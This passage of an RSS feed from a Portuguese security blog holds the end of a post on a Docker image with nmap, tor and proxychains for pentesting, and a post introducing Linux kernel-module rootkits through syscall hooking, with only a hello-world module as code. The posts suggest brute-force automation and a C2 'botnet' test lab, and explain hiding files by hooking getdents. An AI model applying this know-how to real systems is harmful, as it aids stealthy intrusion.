&lt;p&gt;Porém seria muito fácil eu dizer que é só usar as que tem lá, o que acha de criarmos nossa própria imagem?&lt;/p&gt;
&lt;p&gt;Primeiro vamos criando nosso &lt;code&gt;Dockerfile&lt;/code&gt;, para dizer o que terá instalado no nosso container.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-Dockerfile&#34; data-lang=&#34;Dockerfile&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;s&#34;&gt; ubuntu:latest&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;RUN&lt;/span&gt; apt-get update &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get upgrade -y &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get install -y curl proxychains tor nmap&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;CMD&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;/bin/bash&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FROM&lt;/code&gt; Demonstra qual imagem você estará se baseando&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RUN&lt;/code&gt; Roda comandos em bash, normalmente usado para instalar dependencias. Ele é executado quando o container está sendo criado.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CMD&lt;/code&gt; Ele demonstra qual comando será executado quando um container está iniciando (Só pode existir 1 CMD por arquivo &lt;code&gt;Dockerfile&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Esse &lt;code&gt;Dockerfile&lt;/code&gt; está dizendo que o nosso container será ubuntu, e terá instalado por padrão o &lt;code&gt;curl&lt;/code&gt;, &lt;code&gt;proxychains&lt;/code&gt;, &lt;code&gt;tor&lt;/code&gt; e o &lt;code&gt;nmap&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Podemos criar o container a partir desse &lt;code&gt;Dockerfile&lt;/code&gt; com o seguinte comando:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo docker build -t pentest .
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Com ele criado, podemos verificar que ele existe na lista dos containers criados:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo docker ps -a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se ele estiver nessa lista significa que podemos rodar o comando para iniciá-lo:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ sudo docker run -it pentest
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;conclusão&#34;&gt;Conclusão&lt;/h2&gt;
&lt;p&gt;Agora que você sabe o básico de como começar com o docker no mundo de pentest, vou deixar algumas possibilidades para os curiosos:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Configurar a vpn diretamente no &lt;code&gt;Dockerfile&lt;/code&gt;, assim toda vez que você entra no container, entrará na VPN também&lt;/li&gt;
&lt;li&gt;Criar &lt;code&gt;Dockerfile&lt;/code&gt; que faz rotinas de pentest para você (&lt;strong&gt;brute force de diretório&lt;/strong&gt;, &lt;strong&gt;brute force de login&lt;/strong&gt;, &lt;strong&gt;scan de portas&lt;/strong&gt;), de forma automatizada.&lt;/li&gt;
&lt;li&gt;Criar um container do tipo C2 ou C&amp;amp;C (command and control) e criar outros containers para serem nodes para testar sua &lt;code&gt;botnet&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Acho que você entendeu a ideia: a única limitação é a criatividade.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;Autor do post: &lt;a class=&#34;link&#34; href=&#34;https://github.com/victorlpgazolli&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Vtr&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>[PT-BR] Rootkits explicados </title>
        <link>https://harddisk.com.br/p/pt-br-rootkits-explicados/</link>
        <pubDate>Wed, 17 Mar 2021 00:00:00 +0000</pubDate>
        
        <guid>https://harddisk.com.br/p/pt-br-rootkits-explicados/</guid>
        <description>&lt;img src="https://harddisk.com.br/p/pt-br-rootkits-explicados/banner.png" alt="Featured image of post [PT-BR] Rootkits explicados " /&gt;&lt;blockquote&gt;
&lt;p&gt;Essa sera uma introdução a rootkits em sistemas linux, mas é
necessario o conhecimento previo de C para um entendimento mais completo&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;o-que-é-um-rootkit&#34;&gt;O Que é um rootkit?&lt;/h2&gt;
&lt;p&gt;Contextualizando, rootkits são softwares, &lt;strong&gt;geralmente&lt;/strong&gt; maliciosos, que visam
se esconder no sistema hospedeiro, normalmente desenvolvidos para esconder a existência
de certos processos e/ou programas, e como ele roda em kernel space, torma sua detecção
extremamente complexa.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;L&lt;/strong&gt;oadable &lt;strong&gt;K&lt;/strong&gt;ernel &lt;strong&gt;M&lt;/strong&gt;odule (LKM) são modulos cujo tem objetivo de estender as
funcionalidades do kernel sem a necessidade de recompilar ele com essa nova feature.
Os LKMs são normalmente usados para adicionar suporte para novos hardwares ou para
adicionar chamadas de sistema(sys calls).&lt;/p&gt;
&lt;p&gt;Aqui está o motivo por ser aqui o &amp;ldquo;habitat natural&amp;rdquo; dos rootkits,
pois os &lt;strong&gt;LKMs&lt;/strong&gt; rodam como uma extensão do kernel, portanto, rodando em &lt;strong&gt;ring 0&lt;/strong&gt;,
assim, concedendo poderes ilimitados dentro do sistema.&lt;/p&gt;
&lt;p&gt;&lt;figure style=&#34;flex-grow: 138; flex-basis: 332px&#34;&gt;
		&lt;a href=&#34;https://harddisk.com.br/p/pt-br-rootkits-explicados/rings.png&#34; data-size=&#34;1200x866&#34;&gt;&lt;img src=&#34;https://harddisk.com.br/p/pt-br-rootkits-explicados/rings.png&#34;
				srcset=&#34;https://harddisk.com.br/p/pt-br-rootkits-explicados/rings_hu017e40e7306e4dd3b12b80b4fb58fba7_122750_480x0_resize_box_3.png 480w, https://harddisk.com.br/p/pt-br-rootkits-explicados/rings_hu017e40e7306e4dd3b12b80b4fb58fba7_122750_1024x0_resize_box_3.png 1024w&#34;
				width=&#34;1200&#34;
				height=&#34;866&#34;
				loading=&#34;lazy&#34;
				alt=&#34;estrutura de rings&#34;&gt;
		&lt;/a&gt;
		
		&lt;figcaption&gt;estrutura de rings&lt;/figcaption&gt;
		
	&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;LKM Rootkits são módulos de kernel que funcionam geralmente &amp;ldquo;hookando&amp;rdquo;(sequestrando) system calls e alterando seu
funcionamento normal, como por exemplo, &amp;ldquo;hookando&amp;rdquo; a sys call
&lt;a class=&#34;link&#34; href=&#34;https://man7.org/linux/man-pages/man2/getdents.2.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;getdents&lt;/a&gt;(get directory entries) você poderia fazer
um filtro para não ser retornado arquivos que se iniciam com &lt;code&gt;secret&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Esta técnica foi popularizada em 1999 quando o grupo
&lt;a class=&#34;link&#34; href=&#34;https://github.com/hackerschoice&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;The Hackers Choice(THC)&lt;/a&gt; publicou um artigo que ficou
conhecido como &lt;a class=&#34;link&#34; href=&#34;http://www.ouah.org/LKM_HACKING.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;LKM HACKING&lt;/a&gt;. Hookando syscalls um atacante pode esconder
arquivos, diretórios ou processos, monitorar operações de arquivos etc, assim como citado anteriormente.&lt;/p&gt;
&lt;h3 id=&#34;o-que-são-system-calls&#34;&gt;O Que são system calls?&lt;/h3&gt;
&lt;p&gt;Todos SO&amp;rsquo;s possuem funções &amp;ldquo;build in&amp;rdquo; em seu kernel, que são usadas para todas as operações nesse sistema.
As funções que o linux usa são chamadas de systemcalls.
Elas representam uma transição de niveis mais altos para kernel space, de ring&amp;rsquo;s mais altos para ring 0.
A abertura de um arquivo no kernel space, por exemplo, é representado pela &lt;strong&gt;syscall&lt;/strong&gt; &lt;code&gt;sys_open&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Cada systemcall tem um número definido, que é realmente usado para fazer a chamada do sistema.
O Kernel usa a interrupção 0x80 para gerenciar todas as systemcall.
O número da systemcall e quaisquer argumentos são movidos para alguns registradores
(eax/rax para número da systemcall, por exemplo).
O número da systemcall é um índice em um array de uma estrutura do kernel chamada &lt;code&gt;sys_call_table[]&lt;/code&gt;.
Essa estrutura mapeia os números de chamadas do sistema para a função de serviço necessária.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Claro que não vamos escrever um rootkit nesse post, até porque isso levaria um estudo
aprofundado e esse post tem a ideia de ser uma introdução, mas como uma boa introdução
vamos escrever um hello world em &lt;strong&gt;Kernel Module&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id=&#34;escrevendo-um-hello-world&#34;&gt;Escrevendo um hello world&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// hello.c
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// necessario para criar o modulo
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;#include&lt;/span&gt; &lt;span class=&#34;cpf&#34;&gt;&amp;lt;linux/module.h&amp;gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;&lt;/span&gt;&lt;span class=&#34;c1&#34;&gt;// necessario para a macro KERN_INFO
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;#include&lt;/span&gt; &lt;span class=&#34;cpf&#34;&gt;&amp;lt;linux/kernel.h&amp;gt;&lt;/span&gt;&lt;span class=&#34;cp&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// função de entrada, como a `main` em um programa generico em C
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;hello_init&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// printk é uma função para imprimir mensagens no log do kernel
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;n&#34;&gt;printk&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KERN_INFO&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Hello world!&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;c1&#34;&gt;// finaliza com sucesso
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;  &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;hello_exit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;void&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;printk&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KERN_INFO&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;Fechando hello world&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;// Defina qual sera a função de point enter
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;module_init&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;hello_init&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cm&#34;&gt;/*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cm&#34;&gt;Similiar ao module_init, mas sera a função que sera
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cm&#34;&gt;executada quando o modulo ser descarregado */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;module_exit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;hello_exit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;MODULE_LICENSE&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;GPL&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;MODULE_AUTHOR&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;R3tr074&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;MODULE_DESCRIPTION&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;LKM hello world&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;MODULE_VERSION&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Agora que terminamos de escrever o codigo precisamos compilar ele,
usaremos um Makefile para facilitar esse processo.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-makefile&#34; data-lang=&#34;makefile&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;# Makefile
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;# objeto para compilar
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;obj-m&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;:=&lt;/span&gt; hello.o
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;# Compilador
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;CC&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; gcc -Wall
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;# Diretorio de build
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;# (uname -r é usado para selecionar as libs do kernel atual)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c&#34;&gt;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;build&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;:=&lt;/span&gt; /lib/modules/&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;shell uname -r&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;/build
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;PWD&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;:=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;shell &lt;span class=&#34;nb&#34;&gt;pwd&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;all&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;MAKE&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt; -C &lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;build&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;M&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;PWD&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt; modules
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;clean&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;	&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;MAKE&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt; -C &lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;build&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;M&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;$(&lt;/span&gt;PWD&lt;span class=&#34;k&#34;&gt;)&lt;/span&gt; clean
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Agora já temos tudo que precisamos, basta digitar &lt;code&gt;make&lt;/code&gt; em seu terminal
e ver a magica acontecer, vc deve ter algo parecido com isso apos o make terminar:
&lt;figure style=&#34;flex-grow: 1053; flex-basis: 2529px&#34;&gt;
		&lt;a href=&#34;https://harddisk.com.br/p/pt-br-rootkits-explicados/screenshot.png&#34; data-size=&#34;1075x102&#34;&gt;&lt;img src=&#34;https://harddisk.com.br/p/pt-br-rootkits-explicados/screenshot.png&#34;
				srcset=&#34;https://harddisk.com.br/p/pt-br-rootkits-explicados/screenshot_huda0129e8a0ec9ac9d1902ff2e7b23776_10275_480x0_resize_box_3.png 480w, https://harddisk.com.br/p/pt-br-rootkits-explicados/screenshot_huda0129e8a0ec9ac9d1902ff2e7b23776_10275_1024x0_resize_box_3.png 1024w&#34;
				width=&#34;1075&#34;
				height=&#34;102&#34;
				loading=&#34;lazy&#34;
				alt=&#34;arquivos compilados&#34;&gt;
		&lt;/a&gt;
		
		&lt;figcaption&gt;arquivos compilados&lt;/figcaption&gt;
		
	&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Não se assuste, a unica coisa que precisaremos agora é o &lt;strong&gt;.ko&lt;/strong&gt;(Kernel Object),
vamos carregar esse modulo para o kernel com o simples comando:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sudo insmod hello.ko
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;E pronto, o modulo foi carregado, para verificar você pode executar &lt;code&gt;lsmod&lt;/code&gt;
e procurar um modulo chamado &amp;ldquo;hello&amp;rdquo; ou ir até &lt;code&gt;/var/log/kern.log&lt;/code&gt; e ver se acha
sua mensagem deixada pelo &lt;code&gt;printk&lt;/code&gt;, para descarregar o modulo, basta executar
&lt;code&gt;sudo rmmod hello&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;conclusão&#34;&gt;Conclusão&lt;/h2&gt;
&lt;p&gt;Para você que gostou do assunto, prepare-se, é um assundo bem denso, porem, facinante.&lt;/p&gt;
&lt;h3 id=&#34;referências&#34;&gt;Referências&lt;/h3&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://blog.convisoappsec.com/linux-rootkits-hooking-syscalls/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://blog.convisoappsec.com/linux-rootkits-hooking-syscalls/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;http://www.ouah.org/LKM_HACKING.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;http://www.ouah.org/LKM_HACKING.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Protection_ring&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://en.wikipedia.org/wiki/Protection_ring&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
